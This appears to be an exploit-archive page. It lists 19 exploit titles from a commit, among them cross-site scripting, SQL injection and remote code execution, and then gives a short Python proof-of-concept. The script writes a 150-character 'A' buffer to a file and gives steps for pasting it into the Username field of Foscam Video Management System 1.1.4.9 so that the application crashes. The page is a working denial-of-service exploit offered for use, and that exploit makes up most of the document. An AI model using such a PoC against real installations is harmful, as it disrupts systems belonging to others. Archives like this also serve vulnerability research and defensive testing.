deaee53895
19 changes to exploits/shellcodes Microsoft Edge 44.17763.1.0 - NULL Pointer Dereference BlueAuditor 1.7.2.0 - 'Key' Denial of Service (PoC) SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC) Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC) KioWare Server Version 4.9.6 - Weak Folder Permissions Privilege Escalation Mailcleaner - Authenticated Remote Code Execution (Metasploit) Embed Video Scripts - Persistent Cross-Site Scripting All in One Video Downloader 1.2 - Authenticated SQL Injection LayerBB 1.1.1 - Persistent Cross-Site Scripting MyBB OUGC Awards Plugin 1.8.3 - Persistent Cross-Site Scripting PLC Wireless Router GPN2.4P21-C-CN - Cross-Site Scripting phpMoAdmin MongoDB GUI 1.1.5 - Cross-Site Request Forgery / Cross-Site Scripting Wordpress Plugin UserPro < 4.9.21 - User Registration Privilege Escalation MyT Project Management 1.5.1 - 'Charge[group_total]' SQL Injection Roxy Fileman 1.4.5 - Unrestricted File Upload / Directory Traversal Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - Cross-Site Request Forgery Leica Geosystems GR10/GR25/GR30/GR50 GNSS 4.30.063 - JS/HTML Code Injection Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)
30 lines
No EOL
900 B
Python
Executable file
30 lines
No EOL
900 B
Python
Executable file
# Exploit Title: Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC)
|
|
# Discovery by: Luis Martinez
|
|
# Discovery Date: 2019-01-04
|
|
# Vendor Homepage: https://www.foscam.es/
|
|
# Software Link : https://www.foscam.es/descarga/FoscamVMS_1.1.4.9.zip
|
|
# Tested Version: 1.1.4.9
|
|
# Vulnerability Type: Denial of Service (DoS) Local
|
|
# Tested on OS: Windows 10 Pro x64 es
|
|
|
|
# Steps to Produce the Crash:
|
|
# 1.- Run python code : python FoscamVMS_1.1.4.9.py
|
|
# 2.- Open FoscamVMS_1.1.4.9.txt and copy content to clipboard
|
|
# 3.- Open FoscamVMS
|
|
# 4.- User Name -> admin
|
|
# 5.- Password ->
|
|
# 6.- Login
|
|
# 7.- System Settings
|
|
# 8.- User Management Settings
|
|
# 9.- Add
|
|
# 10.- Paste ClipBoard on "Username"
|
|
# 11.- Password -> P4ssw0rd
|
|
# 12.- Save
|
|
# 13.- Crashed
|
|
|
|
#!/usr/bin/env python
|
|
|
|
buffer = "\x41" * 150
|
|
f = open ("FoscamVMS_1.1.4.9.txt", "w")
|
|
f.write(buffer)
|
|
f.close() |